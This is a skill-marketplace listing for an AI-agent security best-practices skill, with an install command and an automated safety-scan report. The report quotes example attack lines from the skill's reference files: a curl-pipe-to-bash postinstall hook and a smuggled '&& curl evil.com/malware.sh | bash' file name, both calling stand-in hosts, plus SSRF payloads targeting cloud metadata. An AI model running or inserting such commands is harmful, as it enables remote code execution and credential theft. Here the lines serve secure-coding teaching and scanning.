Skip to content
TrustedSkillsbeta
Back to all skills

Accelint Security Best Practices

Listed
gohypergiant·vlatest·security·Apache-2.0

Helps with security, best practices as part of implementing security and authentication workflows.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add gohypergiant/agent-skills --skill accelint-security-best-practices -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

gohypergiant

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 2 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 5 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 169.254.169.254, 192.168.1.1, localtest.me, malicious-site.com, trusted-domain.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    malicious-site.comundeclared169.254.169.254undeclared192.168.1.1undeclaredtrusted-domain.comundeclaredlocaltest.meundeclared

    What it found (3 of 5)

    • skills/accelint-security-best-practices/references/dependency-security.md:77contacts malicious-site.com
      "postinstall": "curl http://malicious-site.com/steal.sh | bash"
    • skills/accelint-security-best-practices/references/ssrf-prevention.md:31contacts 169.254.169.254
      // Attacker payload: http://169.254.169.254/latest/meta-data/
    • skills/accelint-security-best-practices/references/ssrf-prevention.md:69contacts 192.168.1.1
      // Attacker payload: http://192.168.1.1/

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 2 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found

    • skills/accelint-security-best-practices/references/dependency-security.md:77remote script piped into a shell
      "postinstall": "curl http://malicious-site.com/steal.sh | bash"
    • skills/accelint-security-best-practices/references/injection-prevention.md:105remote script piped into a shell
      // Attacker sends: file.txt && curl evil.com/malware.sh | bash

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • No credential access: passed

    Reads no keys, tokens, keychains or credential files.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

  • Pinned to a commit: passed

    Scanned gohypergiant/agent-skills at fe1ce07cb2.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
fe1ce07cb2
Manifest
skills/accelint-security-best-practices/SKILL.md
Scanned
19 files, 9,157 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill equips AI agents with the knowledge to apply industry-standard security protocols, ensuring that generated code and configurations adhere to best practices for protecting data and infrastructure. It helps agents identify potential vulnerabilities and implement robust defensive measures during development tasks.

When to use it

  • Reviewing generated code before deployment to catch common injection flaws or misconfigurations.
  • Configuring cloud environments or server settings with hardened security defaults.
  • Auditing third-party library integrations for known security risks.
  • Generating documentation that outlines secure development lifecycle (SDLC) requirements.

Key capabilities

  • Application of OWASP Top 10 guidelines in code generation.
  • Implementation of secure authentication and authorization patterns.
  • Configuration of encryption standards for data at rest and in transit.
  • Identification of insecure API design patterns and remediation strategies.

Example prompts

  • "Generate a Python Flask application that follows security best practices to prevent SQL injection and XSS attacks."
  • "Audit this Nginx configuration file for common security misconfigurations and suggest fixes."
  • "Create a checklist for securing a Docker container before pushing it to a production registry."

Tips & gotchas

Ensure the AI agent has access to up-to-date vulnerability databases, as older training data may miss recent exploits. Always verify critical security implementations with human experts, as automated advice cannot replace comprehensive penetration testing.